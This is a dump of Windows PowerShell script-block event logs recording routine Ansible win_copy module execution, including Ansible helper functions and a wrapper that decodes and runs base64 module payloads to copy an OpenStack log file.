# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: 359848ca-efe0-47d4-8729-8b9899ca6974
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1586 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 3672 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0003-34ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 32606362-9106-4850-8078-460c989a498c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1585 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0003-27ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 00824808-d5dc-4ec6-b513-09e8cbf804f8
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1584 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0003-18ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
9IEAoKQogICAgJGNoYW5nZWRfZGlyZWN0b3JpZXMgPSBAKCkKICAgICRjaGFuZ2VkX3N5bWxpbmtzID0gQCgpCgogICAgZm9yZWFjaCAoJGZpbGUgaW4gJGZpbGVzKSB7CiAgICAgICA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WYgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_copy_mode": "single", "_ansible_remote_tmp": "%TEMP%", "_ansible_syslog_facility": "LOG_USER", "_ansible_keep_remote_files": false, "_ansible_socket": null, "_original_basename": "pip-install-neutron.log", "_ansible_check_mode": false, "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042820.02-126761106234016\\source", "_ansible_no_log": false, "_ansible_module_name": "copy", "_ansible_verbosity": 4, "dest": "c:\\openstack\\log\\pip-install-neutron.log", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611042820.02-126761106234016'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 3b4402a7-27a5-439d-bb32-fa1e868b2045
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1583 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0003-12ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
b2RlID0gJGZhbHNlKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBwYXJzZSBBbnNpYmxlIEpTT04gYXJndW1lbnRzIGZyb20gYSAiZmlsZSIgcGFzc2VkIGFzCiAgICB0aGUgc2luZ2xlIGFyZ3VtZW50IHRvIHRoZSBtb2R1bGUuCiAgICAuRVhBTVBMRQogICAgJHBhcmFtcyA9IFBhcnNlLUFyZ3MgJGFyZ3MKIz4KICAgICRwYXJhbXMgPSBOZXctT2JqZWN0IHBzb2JqZWN0CiAgICBJZiAoJGFyZ3VtZW50cy5MZW5ndGggLWd0IDApCiAgICB7CiAgICAgICAgJHBhcmFtcyA9IEdldC1Db250ZW50ICRhcmd1bWVudHNbMF0gfCBDb252ZXJ0RnJvbS1Kc29uCiAgICB9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX2Fuc2libGVfY2hlY2tfbW9kZSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQogICAgSWYgKCRjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2tfbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90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3Jlc3MgZGlhbG9nIGJveAogICAgICAgICAgICAkZGVzdF9wYXRoLkNvcHlIZXJlKCRlbnRyeSwgMTA0NCkKCiAgICAgICAgICAgICMgb25jZSBmaWxlIGlzIGV4dHJhY2VkLCB3ZSBuZWVkIHRvIHJlbmFtZSBpdCB3aXRoIG5vbiBiYXNlNjQgbmFtZQogICAgICAgICAgICAkY29tYmluZWRfZW5jb2RlZF9wYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZGVzdCwgJGVuY29kZWRfYXJjaGl2ZV9lbnRyeSkKICAgICAgICAgICAgTW92ZS1JdGVtIC1QYXRoICRjb21iaW5lZF9lbmNvZGVkX3BhdGggLURlc3RpbmF0aW9uICRlbnRyeV90YXJnZXRfcGF0aCAtRm9yY2UgfCBPdXQtTnVsbAogICAgICAgIH0KICAgIH0KfQoKaWYgKCRjb3B5X21vZGUgLWVxICJxdWVyeSIpIHsKICAgICMgd2Ugb25seSByZXR1cm4gYSBsaXN0IG9mIGZpbGVzL2RpcmVjdG9yaWVzIHRoYXQgbmVlZCB0byBiZSBjb3BpZWQgb3ZlcgogICAgIyB0aGUgc291cmNlIG9mIHRoZSBsb2NhbCBmaWxlIHdpbGwgYmUgdGhlIGtleSB1c2VkCiAgICAkY2hhbmdlZF9maWxlcyA
ScriptBlock ID: 3b4402a7-27a5-439d-bb32-fa1e868b2045
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1582 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4724 | 5096 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:41 AM | dfeadd90-ee34-0003-12ef-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
